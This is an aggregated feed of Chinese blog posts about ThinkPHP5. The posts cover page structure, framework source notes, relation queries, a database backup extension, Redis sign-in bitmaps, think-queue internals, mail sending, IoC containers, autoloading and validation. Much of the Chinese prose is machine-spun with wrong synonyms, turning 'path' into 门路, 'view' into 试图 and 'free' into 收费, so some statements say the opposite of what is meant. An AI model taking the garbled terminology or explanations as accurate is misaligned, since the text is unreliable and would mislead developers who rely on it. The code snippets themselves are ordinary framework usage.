关于thinkphp5:thinkphp5框架新建页面相关规范详解

本利用基于ThinkPHP的MVC(模型-试图-控制器)的形式来组织。在新建页面时必须遵循该设计模式。 以下以挪动端首页为例,新建页面步骤: 挪动端首页文件门路:application->wap->view->first->index->index.html模板渲染: application->wap->controller->Index.php->index()index.html构造: JavaScript模块:页面JavaScript模块化遵循AMD标准,基于RequireJS实际。 新建JavaScript模块文件门路: public->wap->first->zsff->js在js文件夹下新建js文件(一个js文件即是一个JavaScript模块)。 模块写法: 引入模块: Vue应用办法: 模块门路定义: application->wap->view->first->public->requirejs.html 页面引入Vue: 提醒:模块是先定义,再援用,再应用!!! Vue组件:基于RequireJS、css.js和text.js配合,实现Vue组件的应用。 在requirejs.html配置css.js和text.js: 新建Vue组件,组件文件门路: public->wap->first->zsff->components 在components文件下新建组件,可参考源码中payment组件。 如果大家还有不懂的能够在下方留言,咱们会给你具体的解答 最初如果你感觉这篇文章对你有点用的话,麻烦请给咱们的开源我的项目点点star:http://github.crmeb.net/u/defu不胜感激 ! 收费获取源码地址:http://www.crmeb.com PHP学习手册:https://doc.crmeb.com 技术交换论坛:https://q.crmeb.com

April 15, 2022 · 1 min · jiezi

关于thinkphp5:202213thinkphp源码无差别阅读十一

thinkphp源码无差别浏览(十一)framework浏览console/command/output/Formatter.php属性:decorated、styles、styleStack本义:escape初始化命令行输入格局:__construct设置外观标识:setDecorated获取外观标识:isDecorated增加一个新款式:setStyle是否有这个款式:hasStyle获取款式:getStyle应用所给的款式格式化文字:format未知:getStyleStack依据字符串创立新的款式:createStyleFromString从堆栈利用款式到文字:applyCurrentStyleconsole/command/output/Question.php属性:question、attemps、hidden、hiddenFallBack、autocomplateValues、validtor、default、mormalizer构造方法:__construct获取问题:getQuestion获取默认答案:getDefault是否暗藏答案:isHidden设置暗藏答案:setHidden不能被暗藏是否撤销:isHiddenFallback设置不能被暗藏:setHiddenFallback获取主动实现:getAutocomplateValues设置主动实现:setAutocompleterValues设置答案的验证器:setValidator获取验证码:getValidator设置最大重试次数:setMaxAttempts获取最大重试次数:getMaxAttempts设置响应的回调:setNormalizer获取响应的回调:getNormalizerconsole/command/contract/CacheHandlerInterface.php判断缓存:has读取缓存:get写入缓存:set自增缓存:inc自减缓冲:dec删除缓存:delete革除缓存:clear删除缓存标签:clearTagconsole/command/contract/LogHandlerInterface.php日志写入:saveconsole/command/contract/ModelRealationInterface.php提早获取关联数据:getRelation预载入关联查问:eagerlyResultSet预载入关联查问:eagerlyResult关联统计:relationCount创立关联统计子查问:getRelationCountQuery依据关联条件查问以后模型:has依据关联条件查问以后模型:hasWhereconsole/command/contract/SessionHandlerInterface.php读取:read删除:delete写入:writeconsole/command/contract/TemplateHandlerInterface.php检测是否存在模板:exists渲染模板文件:fetch渲染模板内容:display配置模板引擎:config获取配置:getConfig打算浏览[ ] framework源码 [ ] orm源码 [ ] helper源码 留言点击留言

January 3, 2022 · 1 min · jiezi

关于thinkphp5:thinkphp51关联模型-中的字段需要再次查询

有一个user表存储用户主体信息user_profile表存储用户材料user_category放用户分类信息 当初想实现通过user表查问到关联表user_profile的信息,同时显示user_profile中用户的分类详情。也就是嵌套关联: array (size=17) 'id' => int 80 'nickname' => string '用户昵称' (length=15) 'password' => null 'from_where' => int 1 'status' => int 1 'profile' => array (size=16) 'id' => int 7 'name' => string '张三' (length=6) 'entry_time' => string '2010-09-23' (length=10) 'cate_id' => int 5 'position' => string '经理' (length=6) 'update_time' => null 'category' => array (size=6) 'id'=>2, 'name'=>'vip用户'只需这么写: $userList=$userList->limit($start,$count)->order('create_time desc')->with('profile,profile.category')->select();return $userList;

December 11, 2020 · 1 min · jiezi

关于thinkphp5:基于thinkphp5的数据库备份与还原扩展

最佳数据备份还原- shell脚本形式//备份整个数据库mysqldump -uroot -hhost -ppassword dbname > backdb.sql//备份数据库中的某个表mysqldump -uroot -hhost -ppassword dbname tbname1, tbname2 > backdb.sql//备份多个数据库mysqldump -uroot -hhost -ppassword --databases dbname1, dbname2 > backdb.sql//备份零碎中所有数据库mysqldump -uroot -hhost -ppassword --all-databases > backdb.sql//复原mysql -uroot -p'123456' dbname < backdb.sql 应用本类进行数据库备份本库目前只反对thinkphp5.0.* 版本,如果须要应用其余,请自行批改版本中的办法demo 下载地址https://github.com/tp5er/tp5-... 应用composer进行装置 composer require tp5er/tp5-databackup //或 composer require tp5er/tp5-databackup dev-master应用composer update进行装置 "require": { "tp5er/tp5-databackup": "dev-master" }, //或 "require": { "tp5er/tp5-databackup": "1.0.0" },引入类文件use \tp5er\Backup;参数阐明$start:无论是备份还是还原只有一张表备份实现$start就是返回的0$file :sql文件的名字,上面有名字命名标准,如果名字命令不标准,在展现列表中就会呈现谬误配置文件$config=array( 'path' => './Data/',//数据库备份门路 'part' => 20971520,//数据库备份卷大小 'compress' => 0,//数据库备份文件是否启用压缩 0不压缩 1 压缩 'level' => 9 //数据库备份文件压缩级别 1一般 4 个别 9最高);实例化 $db= new Backup($config);文件命名规定,请严格遵守(舒适提醒)$file=['name'=>date('Ymd-His'),'part'=>1]数据类表列表return $this->fetch('index',['list'=>$db->dataList()]);备份文件列表 return $this->fetch('importlist',['list'=>$db->fileList()]);备份表 $tables="数据库表1"; $start= $db->setFile($file)->backup($tables[$id], 0);导入表 $start=0; $start= $db->setFile($file)->import($start);删除备份文件 $db->delFile($time);下载备份文件 $db->downloadFile($time);修复表 $db->repair($tables)优化表 $db->optimize($tables)大数据备份采取措施1如果备份数据比拟大的状况下,须要批改如下参数//默认php代码可能申请到的最大内存字节数就是134217728 bytes,如果代码执行的时候再须要更多的内存,依据状况定义指定字节数memory_limit = 1024M//默认php代码申请到的超时工夫是20s,如果代码执行须要更长的工夫,依据代码执行的超时工夫定义版本运行超时工夫max_execution_time =1000大数据备份采取措施2 自在设置超时工夫。反对连贯操作,该办法次要应用在表备份和还原中,避免备份还原和备份不残缺 //备份 $time=0//示意不限度超时工夫,直到程序完结,(慎用) $db->setTimeout($time)->setFile($file)->backup($tables[$id], 0); //还原 $db->setTimeout($time)->setFile($file)->import($start);留神因为原本采纳的是thinkphp db链接形式,存在很多问题,并且只兼容thinkphp5.0.*版本,因而本类将被不在进行保护,打算在某个时间段进行重构。 ...

August 28, 2020 · 1 min · jiezi

66教师管理系统结篇

前言:本周主要精力放在了复习和学习Thinkphp上,在php上没有遇到太多知识性错误。 关于显示:这个问题可能很多人都没有去纠结,可自己还是卡这了!var_dump和dump:这两个功能是一样的,他不仅输出内容也输出内容的长度。一般用来调试。return:跟c++一样return是终止后边的程序,如果想要显示,依然要用echo。echo:他是由PHP到浏览器。 结语:对于输出的这个地方,我的收获更多是我可能学习思路又错了,开始为了代码去苦恼。MVC的理解:起因:这周我前几天过的都太“顺利” ,因为我虽然看着注释知道每个代码是来实现什么功能,但是我不知道M层是如何与数据库建立联系的,我也不知道M层在哪,我就知道V层是啥,c层是啥。 尝试:这时我开始去漫无目的的去查询关于MVC的理解,但是发现自己越查越乱,就发现自己越往下查下去越发觉自己的无知。因为这样做到后边我会越来越想弄清每一个代码,但是显然不现实,同时也不合理。在这种情况下我觉得宇航说的对,往下学自己就会对于之前的理解更深。 我的理解:其实我最纠结的就是M层,因为我从来没有写过M层,也没有遇到过让写M层,然后那天宇轩学长跟我说现在咱们不写M层,只是把M层的东西放到了c层。在宇轩学长说了之后瞬间明白好多! 报错信息:我的经历:对于报错信息,我跟大家也是一样,刚开始也不看这个,出了错就是去代码里瞎找,去跟教程一个一个比对。完全不知道报错信息对我的用处。这就是当时我最大的错误。改正:那个时候宇轩学长就会让我自己看报错信息,慢慢的我发现它其实就跟c++的是一样的,在过去几天也会有同学出现语法错误,当你去看报错信息就发现,人家对我们的提示已经很明显了,有的时候还会把具体的行标出来。总结:学会看报错信息:目前常见错误:控制器不存在、函数不存在、语法错误。控制器这个已经讲过很多次了,大家也问过很多次了,应该都没问题了。函数这个很可能是你的函数名书写错误。语法错误就尽量自行解决,因为大家肯定能解决的。总结:本周我也是完成了教师管理系统这一章节,并没有着急去往下学,是返回去总结了,或许走了弯路,但是自己最终是有收获的就够了。 反思:1. 敢于去问问题,不要害怕你问的问题简单,如果你连简单的都没有解决,而去过多在意别人看法,这样失败的是你自己。做个“厚脸皮”的人吧!2. 要多去看别人提出的问题,你可能在当时没有遇到,但是那不意味着你能解决这个错误。正如高中一个老师所言:技多不压身。3. 提问题:正如我刚加入团队的介绍,我的表达和理解能力都很差,但是我按着自己的提问的三个步骤:1.我的问题是什么 2.我做出了哪些努力来尝试解决它 3.我得出了哪些结论,在尝试解决的过程中 提问千万不要只给一个错误提示,如果是最简单的语法或者书写错误这些可以通过错误提示就发现,但是更多的是无法通过一个简单的错误提示就发现的,仅仅给出一个错误提示更多的是展示我们没有去思考,没有去尝试自己解决问题,只是更多的期待别人来帮助自己。 本文保留所有权利,版权归河北工业大学梦云智软件开发团队所有。未经团队及作者事先书面同意,您不得以任何方式将本文内容进行商业性使用或通过信息网络传播本文内容。本文作者:郝泽龙

June 6, 2020 · 1 min · jiezi

使用redis位图bitMap-实现签到功能PHP版本

需要优化的地方,请各位看官在评论帮忙指出一、需求记录用户签到,查询用户签到二、技术方案1、使用mysql(max_time字段为连续签到天数) 思路: (1)用户签到,插入一条记录,根据create_time查询昨日是否签到,有签到则max_time在原基础+1,否则,max_time=0 (2)检测签到,根据user_id、create_time查询记录是否存在,不存在则表示未签到 2、使用redis位图功能思路:(1)每个用户每个月单独一条redis记录,如00101010101010,从左往右代表01-31天(每月有几天,就到几天)(2)每月8号凌晨,统一将redis的记录,搬至mysql,记录如图 (3)查询当月,从redis查,上月则从mysql获取3、方案对比举例:一万个用户签到365天方案1、mysql 插入365万条记录· 频繁请求数据库做一些日志记录浪费服务器开销。· 随着时间推移数据急剧增大· 海量数据检索效率也不高,同时只能用时间create_time作为区间查询条件,数据量大肯定慢方案2、mysql 插入12w条记录· 节省空间,每个用户每天只占用1bit空间 1w个用户每天产生10000bit=1050byte 大概为1kb的数据· 内存操作存度快三、实现(方案2)1、key结构前缀_年份_月份:用户id -- sign_2019_10:01查询:单个:keys sign_2019_10_01全部:keys sign_*月份:keys sign_2019_10:*2、mysql表结构 3、代码(列出1个调用方法,与三个类)(1)签到方法 public static function userSignIn($userId) { $time = Time(); $today = date('d', $time); $year = date('Y', $time); $month = date('m', $time); $signModel = new Sign($userId,$year,$month); //1、查询用户今日签到信息 $todaySign = $signModel->getSignLog($today); if ($todaySign) { return self::jsonArr(-1, '您已经签到过了', []); } try { Db::startTrans(); $signModel->setSignLog($today); //4、赠送积分 if (self::SING_IN_SCORE > 0) { $dataScore['order_id'] = $userId.'_'.$today; $dataScore['type'] = 2;//2、签到 $dataScore['remark'] = '签到获得积分'; Finance::updateUserScore(Finance::OPT_ADD, $userId, self::SING_IN_SCORE, $dataScore); } $code = '0'; $msg = '签到成功'; $score = self::SING_IN_SCORE; Db::commit(); } catch (\Exception $e) { Db::rollback(); $code = '-2'; $msg = '签到失败'; $score = 0; } return self::jsonArr($code, $msg, ['score' => $score]); }(2)redis基类 ...

October 4, 2019 · 4 min · jiezi

thinkqueue-解析上

前言分析之前请大家务必了解消息队列的实现如果不了解请先阅读下:有赞消息队列设计去哪儿网消息队列设计 tp5的消息队列是基于database redis 和tp官方自己实现的 Topthink本章是围绕redis来做分析 存储key:key类型描述queues:queueNamelist要执行的任务think:queue:restartstring重启队列时间戳queues:queueName:delayedzSet延迟任务queues:queueName:reservedzSet执行失败,等待重新执行执行命令work和listen的区别在下面会解释| 命令 | 描述 |php think queue:work监听队列php think queue:listen监听队列php think queue:restart重启队列php think queue:subscribe暂无,可能是保留的 官方有什么其他想法但是还没实现行为标签标签描述worker_daemon_start守护进程开启worker_memory_exceeded内存超出worker_queue_restart重启守护进程worker_before_process任务开始执行之前worker_before_sleep任务延迟执行queue_failed任务执行失败命令参数参数默认值可以使用的模式描述queuenullwork,listen要执行的任务名称daemonnullwork以守护进程执行任务delay0work,listen失败后重新执行的时间forcenullwork失败后重新执行的时间memory128Mwork,listen限制最大内存sleep3work,listen没有任务的时候等待的时间tries0work,listen任务失败后最大尝试次数模式区别1: 执行原理不同work: 单进程的处理模式;无 daemon 参数 work进程在处理完下一个消息后直接结束当前进程。当不存在新消息时,会sleep一段时间然后退出;有 daemon 参数 work进程会循环地处理队列中的消息,直到内存超出参数配置才结束进程。当不存在新消息时,会在每次循环中sleep一段时间; listen: 父进程 + 子进程 的处理模式;会在所在的父进程会创建一个单次执行模式的work子进程,并通过该work子进程来处理队列中的下一个消息,当这个work子进程退出之后;所在的父进程会监听到该子进程的退出信号,并重新创建一个新的单次执行的work子进程; 2: 退出时机不同work: 看上面listen: 所在的父进程正常情况会一直运行,除非遇到下面两种情况01: 创建的某个work子进程的执行时间超过了 listen命令行中的--timeout 参数配置;此时work子进程会被强制结束,listen所在的父进程也会抛出一个 ProcessTimeoutException 异常并退出; 开发者可以选择捕获该异常,让父进程继续执行;02: 所在的父进程因某种原因存在内存泄露,则当父进程本身占用的内存超过了命令行中的 --memory 参数配置时,父子进程均会退出。正常情况下,listen进程本身占用的内存是稳定不变的。 3: 性能不同work: 是在脚本内部做循环,框架脚本在命令执行的初期就已加载完毕; listen: 是处理完一个任务之后新开一个work进程,此时会重新加载框架脚本; 因此 work 模式的性能会比listen模式高。注意: 当代码有更新时,work 模式下需要手动去执行 php think queue:restart 命令重启队列来使改动生效;而listen 模式会自动生效,无需其他操作。 4: 超时控制能力work: 本质上既不能控制进程自身的运行时间,也无法限制执行中的任务的执行时间;listen: 可以限制其创建的work子进程的超时时间; 可通过 timeout 参数限制work子进程允许运行的最长时间,超过该时间限制仍未结束的子进程会被强制结束;expire 和time的区别 ...

August 8, 2019 · 2 min · jiezi

使用nettemail-封装一个发送邮件类-通用

使用nette/mail 封装一个发送邮件类 (通用)使用到的包 composer require nette/mail封装Mail体<?php/*** Created by PhpStorm.* User: 邓尘锋* Date: 19-7-5* Time: 上午11:57* surest.cn*/namespace app\common\server;use Nette\InvalidArgumentException;use Nette\Mail\Message;class Mail extends Message{ public $config; // [String] e-mail protected $from; // [Array] e-mail list protected $to; protected $title; protected $body; public function __construct($to) { $host = config('email.username'); $this->setFrom("{$host}", "D88科技") ->setHeader("name", $host); if ( is_array($to) ) { foreach ($to as $email) { $this->addTo($email); } } else { $this->addTo($to); } } public function from($from=null) { if ( !$from ) { throw new InvalidArgumentException("邮件发送地址不能为空!"); } $this->setFrom($from); return $this; } public static function to($to=null) { if ( !$to ) { throw new InvalidArgumentException("邮件接收地址不能为空!"); } return new Mail($to); } public function title($title=null) { if ( !$title ) { throw new InvalidArgumentException("邮件标题不能为空!"); } $this->setSubject($title); return $this; } public function content($content=null) { if ( !$content ) { throw new InvalidArgumentException("邮件内容不能为空!"); } $this->setHTMLBody($content); return $this; }}封装Mailer发送类 <?php /** * Created by PhpStorm. * User: chenf * Date: 19-7-16 * Time: 下午3:35 */ namespace app\common\server; use Nette\Mail\Message; use Nette\Mail\SmtpMailer; /** * * 使用: * $mail = Mail::to($emails)->title("错误预警")->content($html); * Mailer::setMailer()->send($mail); * * Class Mailer * @package app\common\server */ class Mailer { /** * 实例化一个Mailer类 * @return SmtpMailer */ public static function setMailer() { # 这里的配置读取的是config配置 $mailer = new SmtpMailer([ 'host' => config('email.host'), 'username' => config('email.username'), 'password' => config('email.password'), 'secure' => config('email.secure') ]); return $mailer; } /** * 发送 * @param Message $mail */ public function send(Message $mail) { $this->send($mail); } }配置'host' => 'smtp.exmail.qq.com', // 用的是qq的smtp服务器'username' => 'username', 'password' => 'password', 'secure' => 'ssl' // ssl 是 445 端口, 如不设置, 默认端口是 22 , 可参见源码使用// $emails 是一个数组// Mail Message 体$mail = Mail::to($emails)->title("错误预警")->content($html);// 发送Mailer::setMailer()->send($mail);告知如果直接使用如上方法, 采用的是同步发送的机制, 如果需要采用异步队列进行发送邮件, 我提供如下解决思路 ...

July 16, 2019 · 2 min · jiezi

redis专题12正确优雅的在ThinkPHP5中使用redis

TP5的redis驱动在项目中使用遇到的问题缓存的Key前缀取的是config中配置的,没有单独管理。不能使用redis一些本身高级命令,比如sadd等。一些常用的操作可以再次封装,比如分布式锁等。key的管理类key要统一管理起来,便于后续的阅读以及扩展 <?phpnamespace libs;/** * 缓存key映射类:缓存KEY要统一配置,便于后期批量更改和管理 * 注意其命名规则: 项目名:模块名:名称:类型 tkmall:mem:uid:hash * Class CacheKeyMap * @package libs */class CacheKeyMap{ public static $prefix = 'tkmall:'; /** * 基于会员uid的hash,管理会员资料 * @param $uid * @param int $prefix * @return string */ public static function memberUidHash($uid,$prefix=0) { if($prefix){ // 用于keys,scan等命令 return self::$prefix . 'mem:' . $uid .':*'; } return self::$prefix . 'mem:' . $uid .':hash'; }}libsRedis<?phpnamespace libs;use think\cache\driver\Redis as tpRedis;/** * 定制化的redis * Class Redis * @package libs */class Redis extends tpRedis{ protected static $_instance = null; /** * 获取单例redis对象,一般用此方法实例化 * @return Redis|null */ public static function getInstance() { if(!is_null(self::$_instance)){ return self::$_instance; } self::$_instance = new self(); return self::$_instance; } /** * 架构函数 * Redis constructor. */ public function __construct() { $options = config('cache.redis'); $options['prefix'] = CacheKeyMap::$prefix; parent::__construct($options); } /** * 覆写,实际的缓存标识以CacheKeyMap来管理 * @access protected * @param string $name 缓存名 * @return string */ protected function getCacheKey($name) { return $name; } /** * redis排重锁 * @param $key * @param $expires * @param int $value * @return mixed */ public function redisLock($key, $expires, $value = 1) { //在key不存在时,添加key并$expires秒过期 return $this->handler()->set($key, $value, ['nx', 'ex' => $expires]); } /** * 调用缓存类型自己的高级方法 * @param $method * @param $args * @return mixed|void * @throws \Exception */ public function __call($method,$args){ if(method_exists($this->handler, $method)){ return call_user_func_array(array($this->handler,$method), $args); }else{ exception(__CLASS__.':'.$method.'不存在'); return; } }}服务提供者配置app/provider.php ...

July 14, 2019 · 2 min · jiezi

如何使用-PHP-Storm-进行优雅的项目开发

前言PHP Storm 这个开发工具,很多 phper 应该有所而为,甚至也有不少人使用其作为生产工具,但是很多人都没有最大限度的使用它,本文就来总结一些优雅开发的小技巧。 开发环境开发工具在看这篇文章之前,我想你应该已经安装好了 PHP Storm,如果没有你也可以尝试去官网下载页面,进行下载安装使用,关于许可,不在本文的讨论范围内,你可以使用以下方式获取免费许可。 教育许可GitHub 活跃开发者Microsoft MVP虽然有很多特殊方式可以激活,但是还是倡导使用正版软件。请尽量使用原版英文界面,不要安装汉化补丁。 PHP在此,我希望你最好能够安装最新的 PHP 发行版(7.3.x),进行开发和项目部署。 进入主题看到这里,我希望你已经准备好了上面所提到的,那么我们就开始解决开发中的一些问题。 Material-Theme-UI 这是我的默认开发界面,使用的是内置主题,Solarized Light ,开发工具内置的主题默认只会改变代码区域的主题色,像项目的索引,这些地方都不会变(当然 这些都可以去手动改)。而且,默认的图标的辨识度也不是很高。这里可以安装一个主题 Material Theme UI 注意看左侧,Project 处的索引,的项目图标有了明显的变化,这样当我们在同一个目录下有不同类型的文件时,就能通过图标很快的辨识出来。除此之外还有常见的 Model、util 、log 、public 、vendor 、config、static 、Middleware 、 Controller都会有特殊的图标用来提高辨识度,相比默认的要好的多。 .ignore看名字,就知道是用来创建忽略文件的,当我们创建一个新项目时,一些东西是不需要提交到版本管理库的,比如 composer 的 vendor 目录、node.js 的 node_modules 等等。这些目录通常都是不需要提交道版本管理库的,前端开发会有更多各种各样的这时候我们就可以用这个工具来快速创建。 可以看到,我们可以通过选择项目模板,来高效,快速准确地创建忽略文件。而且,当我们需要手动忽略某个目录时,也不需要手动去编辑 .gitignore 文件,只需要右键目录,选择对应的操作即可。 其他插件.env files support这个插件使用来支持 env 方法中提示的 PHP composer. json support用于 composer.json 中的一些提示根据不同框架LaravelThinkPHP5 Plugin...因为我只用过这两个框架相关的插件,其他的就不列举了。因为 Laravel 插件安装还是比较繁琐的,虽然繁琐,但是真的很强大,至于安装,可以参考这篇文章 送给Laravel 开发者Laravel IDE Helper 还有一个功能,很少有文章提到的,就是 模型注释。都知道 Laravel 是支持 ORM 的,但是,当我们直接通过对象获取模型的某个属性时,IDE 可能会提示你未定义的属性,但是这并不影响使用,只是开发过程中看起来比较糟糕,就像下面这样。出现了异常,但是我们数据库是有这个字段的,而对象上没有,但是因为我们继承了 根模型 Model ,上有 __get() 方法,所以在 id 下面显示了 点 来引起我们的注意,虽然这样代码对我们程序运行时没有影响,但是开发看起来却不是那么的友好。当我们使用模型注释后,就会为我们的每个模型对象自动生成如下的注释信息。 ...

July 12, 2019 · 2 min · jiezi

TRR-立志做最简单易上手易扩展易维护的TP反射注释路由架构

简介TRR 开源地址Github: https://github.com/china-wang...Gitee: https://gitee.com/china_wangy...博客:https://china-wangyu.github.io/ TRR 是什么?TRR 是 ThinkPHP51 Reflection Restful API(注:API设计风格) 的字母第一个字符大写后拼接而来,从ThinkPHP51 Reflection Restful API全称可以看出来,这套接口框架设计主要围绕反射来做Restful API接口设计的。 TRR 可以做什么?你可以先了解一下ThinkPHP5.1能做什么。ThinkPHP5.1 能做的都能做,而且在反射路由方面,我们比ThinkPHP5.1更为专注专注做什么: 反射 API 接口路由反射 API 接口文档生成反射 API 参数快速验证让接口开发更简单、直观、迅捷让接口维护更轻松、明了、快速我们专注研究PHP反射相关的知识点,想让PHP web功能开发、接口开发更加简单、迅捷。 想让更多的朋友更加专注于业务开发,不再反复去做路由添加、修改,接口文档编写等一些列的问题 我们只想你的项目更快、更稳定、更以维护的成型。 使用须知在使用TRR时必定会用到的技能,你得做一个评估,查看自己是否可以无障碍使用。 涉及技术或框架 PHP7.1 一种支持热编译的脚本语言 你需要熟练掌握 PHP7.1 相关知识点,如果你精通此技能那就再好不过了,不精通也没关系,请根据我收集的教程和资料进行学习 PHP 官方文档: https://php.net/manual/zh/【极客学院】PHP全套教学视频: https://www.bilibili.com/video/av10274152?from=search&seid=2228250606023131784韩顺平php从入门到精通: https://pan.baidu.com/s/1YDQo... 提取码: 6hyyThinkPHP5.1 :中国比较流行且会一直流行的PHP框架如果你对ThinkPHP5.1不太了解,或者一知半解,请到官方文档进行查阅,补充效果知识点。官方文档 Reflection PHP 反射机制 如果你对 PHP 反射相关知识点不是很了解,推荐先进行了解一下 PHP官方文档: https://php.net/manual/zh/book.reflection.phpThinkPHP5.1 反射相关知识点: https://www.kancloud.cn/manual/thinkphp5_1/469333wangyu/reflex-core composer扩展使用: https://github.com/china-wangyu/php-reflex-coreRestful API 是一种API接口设计风格或者说潮流 如果你对 Restful API 还不了解,我收集了一些比较好的译文。 - RESTful 架构风格概述: https://juejin.im/entry/57c7a323a633bd006cfc1d84 ...

July 10, 2019 · 2 min · jiezi

如何理解-Laravel-和-ThinkPHP-5-中的服务容器与注入

从文档说起很多人一开始看到官方的文档,无论是 Laravel 还是 ThinkPHP ,看完都是一头雾水,不求甚解。甚至都是直接跳过去,不看,反正我也不一样用得到这么高端的东西,如果在短时间内有这个念头很正常,尤其是习惯了 ThinkPHP 3 的使用者,相对引入的理念比较前沿,如果你在长时间内都不去考虑去理解,那就要看你自己的职业规划了。接下来就来一起看一下,细细追品。 从 Laravel 开始从 Laravel 的文档中看到有 bind 、 singleton 以及 instance ,这三个常用方法,接下来就一一解答。 实际应用假设我们有这样一个场景,当我们用户在进行注册时,我们需要向用户手机发送一条短信验证码,然后当用户收到验证码后在注册表单提交时还需要验证验证码是否正确。 这个需求看起来非常容易实现,对吧? 当我们拿到短信平台的开发文档后,我们只需要写出两个方法。send 和 check 分别用来发送验证码和校验验证码,下面就在不用容器的情况下来写一下伪代码。 MeiSms.php<?phpnamespace App\Tools;class MeiSms{ public function send($phone) { $code = mt_rand(1e3, 1e4 - 1); // TODO ... 通过接口发送 // 存放验证码到 Redis $cacheManager = cache(); // 设定 5 分钟失效 $cacheManager->set('sms:' . $phone, $code, 5 * 60); return true; } public function check($phone, $code) { $cacheManager = cache(); return $cacheManager->get('sms:' . $phone) === $code; }}很容易,不是吗? ...

July 3, 2019 · 4 min · jiezi

深入理解控制反转IoC和依赖注入DI

容器,字面上理解就是装东西的东西。常见的变量、对象属性等都可以算是容器。一个容器能够装什么,全部取决于你对该容器的定义。当然,有这样一种容器,它存放的不是文本、数值,而是对象、对象的描述(类、接口)或者是提供对象的回调,通过这种容器,我们得以实现许多高级的功能,其中最常提到的,就是 “解耦” 、“依赖注入(DI)”。本文就从这里开始。IoC 容器, laravel 的核心Laravel 的核心就是一个 IoC 容器,根据文档,称其为“服务容器”,顾名思义,该容器提供了整个框架中需要的一系列服务。作为初学者,很多人会在这一个概念上犯难,因此,我打算从一些基础的内容开始讲解,通过理解面向对象开发中依赖的产生和解决方法,来逐渐揭开“依赖注入”的面纱,逐渐理解这一神奇的设计理念。 本文一大半内容都是通过举例来让读者去理解什么是 IoC(控制反转) 和 DI(依赖注入),通过理解这些概念,来更加深入。更多关于 laravel 服务容器的用法建议阅读文档即可。 IoC 容器诞生的故事讲解 IoC 容器有很多的文章,我之前也写过。但现在我打算利用当下的灵感重新来过,那么开始吧。 超人和超能力,依赖的产生!面向对象编程,有以下几样东西无时不刻的接触:接口、类还有对象。这其中,接口是类的原型,一个类必须要遵守其实现的接口;对象则是一个类实例化后的产物,我们称其为一个实例。当然这样说肯定不利于理解,我们就实际的写点中看不中用的代码辅助学习。 怪物横行的世界,总归需要点超级人物来摆平。我们把一个“超人”作为一个类, class Superman {}我们可以想象,一个超人诞生的时候肯定拥有至少一个超能力,这个超能力也可以抽象为一个对象,为这个对象定义一个描述他的类吧。一个超能力肯定有多种属性、(操作)方法,这个尽情的想象,但是目前我们先大致定义一个只有属性的“超能力”,至于能干啥,我们以后再丰富: class Power { /** * 能力值 */ protected $ability; /** * 能力范围或距离 */ protected $range; public function __construct($ability, $range) { $this->ability = $ability; $this->range = $range; }}这时候我们回过头,修改一下之前的“超人”类,让一个“超人”创建的时候被赋予一个超能力: class Superman{ protected $power; public function __construct() { $this->power = new Power(999, 100); }}这样的话,当我们创建一个“超人”实例的时候,同时也创建了一个“超能力”的实例,但是,我们看到了一点,“超人”和“超能力”之间不可避免的产生了一个依赖。 所谓“依赖”,就是 “我若依赖你,我就不能离开你”。在一个贯彻面向对象编程的项目中,这样的依赖随处可见。少量的依赖并不会有太过直观的影响,我们随着这个例子逐渐铺开,让大家慢慢意识到,当依赖达到一个量级时,是怎样一番噩梦般的体验。当然,我也会自然而然的讲述如何解决问题。 ...

May 24, 2019 · 4 min · jiezi

ThinkPHP51-源码浅析二自动加载机制

继 生命周期的第二篇,大家尽可放心,不会随便鸽文章的第一篇中,我们提到了入口脚本,也说了,里面注册了自动加载的功能 本文默认你有自动加载和命名空间的基础。如果没有请 看此篇文章 php 类的自动加载与命名空间自动加载机制php 的自动加载是 Loader 类中实现的,这个类在 base.php 中被引入 //base .php// 载入Loader类require __DIR__ . '/library/think/Loader.php';// 注册自动加载Loader::register();我们程序在这里执行了 Loader 中静态方法 ,同时这也是一个全部的类register() 我们进入 Loader.php ,按照上面执行顺序看看其核心是什么? register()方法执行流程 注册系统自动加载此方法行数过长,我们一点一点来分析 // 注册系统自动加载 spl_autoload_register($autoload ?: 'think\\Loader::autoload', true, true);这就是注册我们的自动加载函数,$autoload 这个变量是传的参数,考虑到你可以自己实现自己的加载类,为了方便拓展,TP可以让你自己实现自己的类加载方法。 如果不了解这个函数的同学,请看文章最顶部的那个连接,上面有详细讲解。 Composer自动加载支持$rootPath = self::getRootPath(); self::$composerPath = $rootPath . 'vendor' . DIRECTORY_SEPARATOR . 'composer' . DIRECTORY_SEPARATOR; // Composer自动加载支持 if (is_dir(self::$composerPath)) { if (is_file(self::$composerPath . 'autoload_static.php')) { require self::$composerPath . 'autoload_static.php'; // 获取当前加载的所有类 $declaredClass = get_declared_classes(); $composerClass = array_pop($declaredClass); foreach (['prefixLengthsPsr4', 'prefixDirsPsr4', 'fallbackDirsPsr4', 'prefixesPsr0', 'fallbackDirsPsr0', 'classMap', 'files'] as $attr) { if (property_exists($composerClass, $attr)) { self::${$attr} = $composerClass::${$attr}; } } } else { self::registerComposerLoader(self::$composerPath); } }为了支持 composer 拓展,在自动注册时候,把composer 也顺带一起注册了,方便对拓展的调用。 ...

May 23, 2019 · 3 min · jiezi

thinkphp中使用AOP切面编程快速验证我们的数据

thinkphp中使用AOP切面编程快速验证我们的数据1) 首先 查看一下我们的目录结构2)使用平常的写法来构造一下我们的验证这里主要分四步在走,相对于使用独立验证器或者挨个数据验证已经优化了大部分的代码了,但是,当在使用中会发现,我们在多个验证或者多个模块的时候会出现重复性的冗余去写这一串代码 问题? 如何将上诉的代码压缩成一行呢AOP: 在不修改源代码的情况下给程序动态统一添加功能的一种技术。AOP实际是GoF设计模式的延续,设计模式孜孜不倦追求的是调用者和被调用者之间的解耦,提高代码的灵活性和可扩展性,AOP可以说也是这种目标的一种实现AOP、OOP在字面上虽然非常类似,但却是面向不同领域的两种设计思想。OOP(面向对象编程)针对业务处理过程的实体及其属性和行为进行抽象封装,以获得更加清晰高效的逻辑单元划分。我们引入aop编程的思想来解决的我们的问题,通过将功能单一的模块合并统一起来我们在common下创建 validate目录,并且创建一个BaseValidate文件,继承 think\validateBaseValidate.php <?php namespace app\common\validate; use app\common\controller\Base; use think\Request; use think\Validate; class BaseValidate extends Validate { /** * 基础类控制器 * @param null|array $data * @return bool */ public function goCheck($data = null) { # 当 data 不存在的时候去自动校验获取到的参数 if( is_null($data) ) { # 获取待验证的参数 $data = Request::instance()->param(); } # 进行验证 if( !$this->check($data) ) { (new Base())->ajaxjson(Base::error, $this->getError()); # 抛出的自定义异常 } return true; } 